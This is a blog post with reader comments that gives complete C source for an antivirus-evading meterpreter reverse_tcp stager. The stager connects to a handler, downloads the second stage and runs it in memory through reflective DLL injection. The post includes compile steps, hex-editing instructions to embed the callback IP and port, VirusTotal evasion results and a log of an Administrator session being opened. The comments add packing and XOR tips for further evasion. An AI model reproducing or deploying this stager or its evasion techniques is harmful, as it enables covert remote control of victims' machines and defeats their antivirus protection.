So another way to have a meterpreter stager bypass AV is to just port the shellcode to C instead of obfuscating it like I explained in my previous article, still assuming psexec like purposes here.
Assembly always seems terrifying if you’ve never worked with it previously, but just like all source code it depends on the coder if it really is terrifying. Take for example the shellcode for the meterpreter stages, that’s some neat code and easy to read also thanks to the comments. Let’s take a look at all the asm for the meterpreter/reverse_tcp stager and determine what it does:
- https://github.com/rapid7/metasploit-framework/blob/master/external/source/shellcode/windows/x86/src/stager/stager_reverse_tcp_nx.asm
- Main code where everything is glued together
- https://github.com/rapid7/metasploit-framework/blob/master/external/source/shellcode/windows/x86/src/block/block_api.asm
- Does the resolving of all the APIs
- https://github.com/rapid7/metasploit-framework/blob/master/external/source/shellcode/windows/x86/src/block/block_reverse_tcp.asm
- Setup socket stuff and connect to the handler
- https://github.com/rapid7/metasploit-framework/blob/master/external/source/shellcode/windows/x86/src/block/block_recv.asm
- Receive the second stage and execute it
Since we are coding in C there is a lot of stuff we don’t need to convert, for example the API resolving is not really needed. So basically what we have to do is:
- connect to metasploit handler
- get the second stage
- execute it in memory
For the impatient ones, here is the C code you can compile and use. For the ones interested on how to compile and use it, read on.
/* Author: DiabloHorn https://diablohorn.wordpress.com Undetected meterpreter/reverse_tcp stager Compile as C Disable optimization, this could help you later on when signatures are written to detect this. With a bit of luck all you have to do then is compile with optimization. */ #include <WinSock2.h> #include <Windows.h> #include <stdio.h> #include "LoadLibraryR.h" #include "GetProcAddressR.h" #pragma comment(lib, "ws2_32.lib") int initwsa(); short getcinfo(char *,char *,int); SOCKET getsocket(char *); DWORD WINAPI threadexec(LPVOID); /* setting up the meterpreter init function */ typedef DWORD (__cdecl * MyInit) (SOCKET fd); MyInit meterpreterstart; /* http://msdn.microsoft.com/en-us/library/windows/desktop/ms738545(v=vs.85).aspx */ WSADATA wsa; /* doit */ int CALLBACK WinMain(_In_ HINSTANCE hInstance,_In_ HINSTANCE hPrevInstance,_In_ LPSTR lpCmdLine,_In_ int nCmdShow){ HANDLE threadhandle; DWORD threadid; STARTUPINFO si; PROCESS_INFORMATION pi; char szPath[MAX_PATH]; GetModuleFileName(NULL,szPath,MAX_PATH); ZeroMemory( &si, sizeof(si) ); si.cb = sizeof(si); ZeroMemory( &pi, sizeof(pi) ); /* Quick & Dirty hack to make this usable for psexec like stuff When executed the first time it will spawn itself this makes sure we return on time and don't get killed by the servicemanager */ if(strlen(lpCmdLine) == 0){ strcat_s(szPath,MAX_PATH," 1"); CreateProcess(NULL,szPath,NULL,NULL,FALSE,0,NULL,NULL,&si,&pi); } if(strlen(lpCmdLine) > 0){ //thread just for fun...no real purpose atm threadhandle = CreateThread(NULL,0,threadexec,szPath,0,&threadid); WaitForSingleObject(threadhandle,INFINITE); } } /* http://msdn.microsoft.com/en-us/library/windows/desktop/ms682516(v=vs.85).aspx read port:ip Receive stage Load it using reflectivedllinjection */ DWORD WINAPI threadexec(LPVOID exename){ SOCKET meterpretersock; int response = 0; int total = 0; char *payload; char recvbuf[1024]; DWORD payloadlength = 0; HMODULE loadedfile = NULL; if(initwsa() != 0){ exit(0); } meterpretersock = getsocket((char *)exename); response = recv(meterpretersock, (char *)&payloadlength, sizeof(DWORD), 0); payload = (char *)malloc(payloadlength); memset(payload,0,payloadlength); memset(recvbuf,0,1024); do{ response = recv(meterpretersock, recvbuf, 1024, 0); memcpy(payload,recvbuf,response); payload += response; total += response; payloadlength -= response; }while(payloadlength > 0); payload -= total; loadedfile = LoadLibraryR(payload,total); meterpreterstart = (MyInit) GetProcAddressR(loadedfile,"Init"); meterpreterstart(meterpretersock); free(payload); //closesocket(sock); meterpreter is still using it } /* Get a socket which is allready connected back */ SOCKET getsocket(char *self){ SOCKADDR_IN dinfo; SOCKET sock; int respcode = 0; char *ipaddr = (char *)malloc(sizeof(char)*25); short port = 0; memset(ipaddr,0,sizeof(char)*16); port = getcinfo(self,ipaddr,16); sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if(sock == INVALID_SOCKET){ printf("socket failed\n"); exit(0); } dinfo.sin_family = AF_INET; dinfo.sin_addr.s_addr = inet_addr(ipaddr); dinfo.sin_port = htons(port); respcode = connect(sock, (SOCKADDR *) &dinfo, sizeof (dinfo)); if(respcode == SOCKET_ERROR){ exit(0); } free(ipaddr); return sock; } /* Initialize winsock */ int initwsa(){ int wsaerror = 0; //wsa is defined above main wsaerror = WSAStartup(MAKEWORD(2,2),&wsa); if(wsaerror != 0){ return -1; } return 0; } /* Get ip address and port information from our own executable Feel free to hardcode it instead of doing this */ short getcinfo(char *self,char *ipaddr,int len){ int i = 0; int offset = 0x4e; //[port as little endian hex][ip as string \0 terminated] //9999 -> 270f -> 0f27 //127.0.0.1 -> 127.0.0.1 //make sure to padd with \0's until max buffer, or this will read weird stuff short port = 0; FILE * file = fopen(self, "r"); fseek(file,offset,SEEK_SET); fread((void *)&port,(size_t)sizeof(short),1,file); fread(ipaddr,(size_t)len,1,file); fclose(file); return port; }
Now let’s see how to convert the above to a working executable. First of all you’ll need a compiler, personally I prefer visual studio c++ 2010 express. It’s free and the IDE & debugger combo rock.
Create a new project and choose a win32 project. Don’t choose a win32 console application. The reason for this (besides the above src not compiling) is that if you use a traditional main when using psexec it will show a popup requiring attention. In the next window click next and tick the box that says ’empty project’, then hit finish.
Create a C file like this:
Now paste the above code into it, don’t hit build immediately since it won’t build we need to add a few files first. We need the following files:
- LoadLibraryR.c
- LoadLibraryR.h
- GetProcAddress.c
- GetProcAddress.h
- ReflectiveDLLInjection.h
Which we again can get from the metasploit github:
Put them all in the same place as the C you created before. Then just add them to the project the same way you added the initial C file but instead of “new item” you choose “existing item”. Your visual studio should now look like this:
Next change the settings to use multi-byte characterset instead of unicode:
If you now set the configuration to “release” instead of “debug” and right click on the project to rebuild, it should compile just fine. Gives a few warnings due to me being lazy, but it will run. If you do not want to see msvcrt errors you’ll also have to change the following setting to what is set in the red box:
If you have looked at the source you’ll know that this executable won’t run just yet. It needs to be modified. I choose to embed the connect back IP and port information in the executable instead of having to recompile it every time I want to use it. This means that we have to hexedit our executable now and provide the connect back details. Start your favorite hex editor, I use frhed. Here is an example on how to edit it, let’s assume our connect back information is this: 127.0.0.1:1234 the format we want to have before we start hex editing is everything in hex. In this case 1234 becomes 04D2 and since it has to be little endian it becomes D204. The IP address becomes 3132372e302e302e31. So the whole string that should be hex edited into the executable becomes (spaces for readability):
d2 04 31 32 37 2e 30 2e 30 2e 31 00
Exactly, don’t forget to null byte (0x00) terminate that string or we sure will be connecting to some weird IP addresses, now just put that data in the executable starting at offset 0x4e. If everything went according to plan it now should look like this:
That’s all. If you now start a exploit/multi/handler and configure it with a windows/meterpreter/reverse_tcp it should all work as planned. Just as funny information, if you disable all optimization and upload the executable to virustotal is gets 1/46 as heuristic malware. So don’t forget that just recompiling and optimizing source does help a lot of times to evade antivirus, as explained in another post of mine.
PAYLOAD => windows/meterpreter/reverse_tcp LHOST => 10.50.0.103 LPORT => 9999 [*] Started reverse handler on 10.50.0.103:9999 [*] Starting the payload handler... [*] Sending stage (762880 bytes) to 10.50.0.101 [*] Meterpreter session 1 opened (10.50.0.103:9999 -> 10.50.0.101:49264) at 2013-01-25 00:57:28 +0100 meterpreter > getuid Server username: WIN-WIN\Administrator
i think resolving api adresses is still neede. Hardcoding those memory addresses restricts the shellcode to running on a specific version of Windows, service pack, and potentially even patch level…
Thanks for the great post, it has been a very educational process.
Hi, gj done here as i see. You getting 1/43 only because you editing header with frhed, some of av`s detecting timestamp difference. So the best way is to hide ipaddr,port into the code.
And after that you can also use some simple packer to avoid av detections of original image by compiling your own or using src from upx or xor crypt
Hi dablohorn, really enjoy your blog, thanks for taking the time to write up some very good tutorials.
Thank you sir
@Hisham, just start small and keep improving.
@regex84, You have to insert it yourself. The normal text that you will find there is “this program cannot be run in dos mode”. You need to replace that with your own information. You can also insert it in the code you have to edit the following lines:
dinfo.sin_addr.s_addr = inet_addr(ipaddr);
dinfo.sin_port = htons(port);
Replace the variables with your own values.
I followed exactly your instructions but when i search the sequence “d2043132372e302e302e3100” I can’t found it. I sweep the hex I don’t see the 127.0.0.1 like your screenshot. Where is the problem? Is it possible to enter the IP and Port in the code? Thx
Thank you for your reply but I’m new to all of this and i guess i cant understand it.
I wish i can be like you xD
No you’d need to adjust the code to incorporate the gethostbyname function: http://msdn.microsoft.com/en-us/library/windows/desktop/ms738524(v=vs.85).aspx
An example of how you could do this can be found here:
http://stackoverflow.com/questions/8916141/c-unix-socket-programming-connect-hanging-on-invalid-host-name
Does this work with reverse_tcp_dns ?
and if it does how can i add the domain (for example test.dyndns.net) in hex editor
thank you for your great article